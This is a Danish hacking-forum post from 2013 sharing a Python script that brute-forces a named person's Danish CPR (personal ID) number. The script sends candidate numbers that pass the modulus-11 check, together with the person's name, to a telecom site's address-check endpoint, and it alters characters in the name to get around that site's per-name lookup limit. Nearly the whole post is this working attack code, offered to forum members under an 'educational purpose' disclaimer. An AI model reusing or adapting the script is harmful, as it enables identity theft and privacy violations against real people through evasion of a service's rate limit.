Tråd bedømmelse:
  • 0 Stemmer - 0 Gennemsnit
  • 1
  • 2
  • 3
  • 4
  • 5
CPR Finder - Outdated VIP stuff
04-12-2013, 23:15 (Denne besked var sidst ændret: 04-12-2013, 23:16 af Morph3s.)
#1
CPR Finder - Outdated VIP stuff
NOTE: Dette er en gammel VIP tråd som jeg har oprettet her fordi den ikke længere virker. Dog kan folk stadig se på den for educational purpose

Jeg har kodet denne Python CPR Finder.
Den finder CPR numre på ca 1-5 minutter.
Brug Python 2.x for at bruge det.

Den side jeg kodede det til havde en limitation. Det var at man maks måtte have 2 opslag per navn. Dog måtte man have én fejl i navnet.
Det udnyttede jeg ved at lave et map med ascii chars også genere navne med kun én fejl i. Det vil sige at systemet ikke registrere at det er samme navn selvom det er.


Nyd det, og lad nu være med at dele med andre end jer VIP's.
Hvis folk kan finde ud af at holde det privat, kun for VIP's så gider man også dele noget en anden gang :)



import urllib, urllib2

print "\n\nCPR Finder v 0.3 by Morph3s@shellsec for ShellSec VIP.\n\n"
print "Programmeret en sen aften da en bruger anmodede det."
print "Programmet er for educational purpose only og jeg, Morph3s, er ikke ansvarlig for misbrug"
print "Videre distribution af programmet til andre end Shellsec VIP er forbudt og medfoerer permanent ban fra shellsec\n"



name = raw_input('Indtast navnet paa den oenskede person(Etc. Mark Hansen):')
bday = raw_input('Indtast deres foedselsdag i format DDMMYY(Etc. 150190):')
gender = raw_input('Koennet paa personen(M for mand, K for kvinde):')

print "Vi soeger nu efter: " + name
print "Foedselsdag: " + bday
print "Koen: " + gender

corr = raw_input('Er dette korrekt?(j/n):')

if "n" in corr:
print "Qutting"
exit(0)

if "j" in corr:
print "Super! - Vi forstaetter!"

url = 'https://www.greentel.dk/index.php?ajax=true'


if "m" in gender:
num4 = {'1','3','5','7','9'}

if "k" in gender:
num4 = {'0','2','4','6','8'}



num1 = {'0', '1', '2', '3', '4','9'}
num2 = {'0','1','2','3','4','5', '6', '7', '8', '9'}
num3 = {'0','1','2','3','4','5', '6', '7', '8', '9'}
charmap = ['!', '"', '#', '$', '%', '&', '(', ')', '*', '+',
',','-','.','/','0','1','2','3','4','5','6','7','8',
'9',':',';','<','=','>','?','@','[',']','^','_']
count = 0
indcount = 0;
reacount = 0;

namear = list(name)

for a in num1:
for b in num2:
for c in num3:
for d in num4:

## Name obfuscation to bypass limitation
for char in charmap:

if len(name) == (indcount-1):
print "Not enough randomization. Add chars to charmap"
print reacount
exit(0)

if charmap.index(char) == count:
namear = list(name)
if namear[indcount]!= " ":
namear[indcount] = char
else:
indcount = indcount + 1
break
if count >= len(charmap):
count = 0
indcount = indcount + 1
break





## Validating through the use of modulu 11
numbers11 = list(bday+a+b+c+d)
modulus11 = [4,3,2,7,6,5,4,3,2,1]
trig = 0;
total = 0;
for y in range(0,10):
total += int(numbers11[y])*modulus11[y]





# Verifies that modulu is correct. If it is, then send request
# - to site

if total%11 == 0:


reacount = reacount+1
print "Testing this CPR: " + bday + a + b + c + d
print "This is attempt number: " + str(reacount)
print "This is the name: " + "".join(namear)
count = count + 1


##Setting up data and posting to site
values = {'up_ajax_action' : 'do_address_check',
'cpr' : bday+a + b + c + d,
'fullname' : "".join(namear),
'13246578' : '' }
data = urllib.urlencode(values)
req = urllib2.Request(url, data)
response = urllib2.urlopen(req)

the_page = response.read()
print the_page

if "firstname" in the_page:
the_page = response.read()
print "Found the info!"
exit(1)




print "It took " + str(reacount) + " tries!"
Følg mig på twitter: https://twitter.com/Morph3s
Find alle beskeder fra denne bruger
Citer denne besked i et svar
« Ældre | Nyere »




User(s) browsing this thread: 1 Gæst(er)